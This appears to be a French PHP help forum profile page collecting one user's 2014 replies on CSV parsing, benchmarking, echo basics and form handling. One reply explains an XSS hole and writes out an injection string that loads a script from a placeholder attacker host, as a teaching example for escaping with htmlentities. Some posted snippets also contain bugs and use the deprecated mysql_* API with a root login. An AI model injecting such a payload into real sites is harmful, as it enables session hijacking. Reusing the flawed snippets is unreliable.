LupusMic

  • Signature
    Développeur récurrent, procédural et relationnel. Caustique soupe-au-lait.
  • Site web
  • Nombre de sujets
    26
  • Nombre de messages
    1 684
  • Nombre de commentaires
    4
  • Nombre de news
    Aucune
  • Niveau en PHP
    Gourou

Ses derniers messages sur les forums

LupusMic
le 06/03/2014 à 19:29
Vérifier qu'une chaine de caractère est un entier
Je n'ai pas fais gaffe, la variable $entier1 devrait être $entier. Mais, $got_integer serait un meilleur nom.
Développeur récurrent, procédural et relationnel. Caustique soupe-au-lait.
LupusMic
le 05/03/2014 à 17:01
Vérifier qu'une chaine de caractère est un entier
<?php

// XXX mysqli, pas mysql qui est déconseillé depuis un moment
mysql_connect('localhost','root','');
mysql_select_db('gestnum');

//on mesure la longueur des différentes lignes du fichier

$handle = fopen("fichiernumcr.txt", "r");
$i=0;

$entier = true;
while (($taille = fgetcsv($handle, 0, "\n")) !== FALSE)
{
++$i;
$nul = strlen($taille[0]);

// XXX On verifie que la ligne ne contient que des entiers
if (!ctype_digit($taille[0]))
{
$ligne=$i;
break;
}
}


//Erreur fichier quand il contient des lettres

if($entier1 === false)
{
header('Location: ../gestionnaire-mdn/gerer-les-mdn-a-creer.php?er3=fstr1');

}
Développeur récurrent, procédural et relationnel. Caustique soupe-au-lait.
LupusMic
le 03/03/2014 à 11:37
Gestion des notes d'élèves
Internet != Web

Alors je sais qu'il existe déjà des applications libres qui font le boulot, tu devrais faire quelques recherches et tester l'offre.

Si tu tiens à tout prix à faire ta propre application, tu dois voir avec ton client ce qu'il veut, lui proposer des storyboards (des brouillons d'écrans indiquant comment on affiche les choses, comment on interagit avec le bousin, etc), puis tu pourras vraiment te lancer dans l'écriture de l'application.
Développeur récurrent, procédural et relationnel. Caustique soupe-au-lait.
LupusMic
le 26/02/2014 à 13:40
Optimiser la mise à jour de la Base de données MySQL
Et évidement, il faut que le code initial soit correct, il y a une erreur dans ta requête SQL (une virgule qui se promène).
Développeur récurrent, procédural et relationnel. Caustique soupe-au-lait.
LupusMic
le 26/02/2014 à 12:59
Optimiser la mise à jour de la Base de données MySQL
Tout d'abord, je tiens à préciser que ton fichier est un CSV.

Ensuite, pour optimiser, il faut mesurer pour savoir ce qui est lent. Pour ça, tu as la fonction posix_times qui te permettra de mesurer l'usage fait par une portion de code.

<?php
$pt = posix_times();
$begin= $pt['utime'] + $pt['stime'];

// do something

$pt = posix_times();
$end = $pt['utime'] + $pt['stime'];

printf("%d\n", $end - $begin);


Voilà pour l'idée principale. ne sous-estime pas la lecture du fichier. Essaye de vérifier quel élément prend réellement du temps.

Si ce sont effectivement les opérations sur MySQL qui sont lentes, peut-être qu'il a un problème concernant le réseau. Mais dans ton cas, je pense qu'il y a deux voies d'optimisation :
- désactiver l'autocommit
- utiliser une prepared statement

Fais déjà le benchmarking, puis modifie le code en désactivant l'autocommit.
Développeur récurrent, procédural et relationnel. Caustique soupe-au-lait.
LupusMic
le 21/02/2014 à 15:46
php - question de débutant sur la 1ere leçon...
echo est suivit d'une expression, et ce n'est pas nécessairement une chaîne interprétée.

<?php

$variable = 'joie';
function ma_function() { return 'le retour de la fonction!'; }

echo $variable;
echo ma_fonction();
echo 'C\'est ma $variable';
echo "C'est ma $variable";
Développeur récurrent, procédural et relationnel. Caustique soupe-au-lait.
LupusMic
le 13/02/2014 à 11:49
php - question de débutant sur la 1ere leçon...
Pour compléter Morganpog, quelle est l'URL que tu tentes de consulter à travers ton navigateur ?
Développeur récurrent, procédural et relationnel. Caustique soupe-au-lait.
LupusMic
le 12/02/2014 à 17:57
Comment récuperer la propriété d'un objet pour la passer en argument d'une fonction
J'ai envie de dire : jette Drupal :p

Je ne connais pas assez bien Drupal, mais je sais qu'il y a quelques personnes assez compétentes qui ont participé à l'élaboration de ce machin. Je pense donc qu'il doit y avoir un moyen de faire ça proprement.

Mais franchement, un formulaire qui contient n fois 20 éléments, c'est un appel à emmerdes. Essaye de voir comment tu peux faire autrement pour simplifier tout ça.
Développeur récurrent, procédural et relationnel. Caustique soupe-au-lait.
LupusMic
le 12/02/2014 à 17:53
Les sessions avec plusieurs formulaires
Ton code est illisible. Tu devrais repartir de zéro et appliquer les quelques règles que j'explique ici :http://www.lephpfacile.com/forum/1-php-mysql/7575-probleme-mise-a-jour-bdd
Développeur récurrent, procédural et relationnel. Caustique soupe-au-lait.
LupusMic
le 12/02/2014 à 17:49
Formulaire avec envoi BDD
Il faut que tu comprenne un point important : tu n'affiches rien. Le résultat final que tu souhaite observer, c'est l'affichage dans le navigateur de ce que tu as généré. Mais dans l'absolu, ce n'est pas ce que tu fais. Le principe d'une application web, c'est de traiter une requête HTTP, et d'en déduire une logique et une représentation.

La logique, c'est de décider ce qu'on fait de la requête (insertion en base, lecture de la base, etc).
La représentation, c'est générer du HTML pour l'envoyer au client web en réponse.

Il faut que tu retire de ton esprit la croyance que tu affiches quoi que ce soit. L'utilisateur peut le croire. Mais toi, en tant que développeur, tu dois avoir une vision du mille-feuilles, et une compréhension des interactions entre les différentes couches, et l'interprétation qui en est faite.

<input name="societe" size="22" value="<?php echo trim(@$_POST['societe']);?>" type="text"/>

Ce code est vulnérable. Il permet d'introduire du code HTML depuis un client web. Ce code HTML peut être le chargement d'un script JS, qui permet d'agir avec les droits de l'utilisateurs. Il suffit pour cela de spécifier dans la requête HTTP que le paramètre 'societe' contient:

"><script src='http://haxor.example.com/mon-attaque.js'></script><input name="

Le problème vient du fait que cette valeur intégrée au HTML sera interprété par le navigateur, pour charger le JS.

Alors qu'en utilisant htmlentities, les chevrons et quotation marks seront transformés en entités HTML (&gt; et compagnie), et seront donc interprété pour leur valeur et non leur sémantique HTML.

Pour le SQL, c'est pareil. Mais là, les effets de bords peuvent être bien plus catastrophiques. Regarde bien dans le sujet de la mise à jour de la bdd, je n'utilises jamais la concaténation de chaînes : c'est illisible, et encourage les erreurs. J'utilises intensivement sprintf, en conjonction avec mysqli_real_escape_string. On peut en faire une fonction bien plus générique, mais l'idée est là.
Développeur récurrent, procédural et relationnel. Caustique soupe-au-lait.
LoadingChargement en cours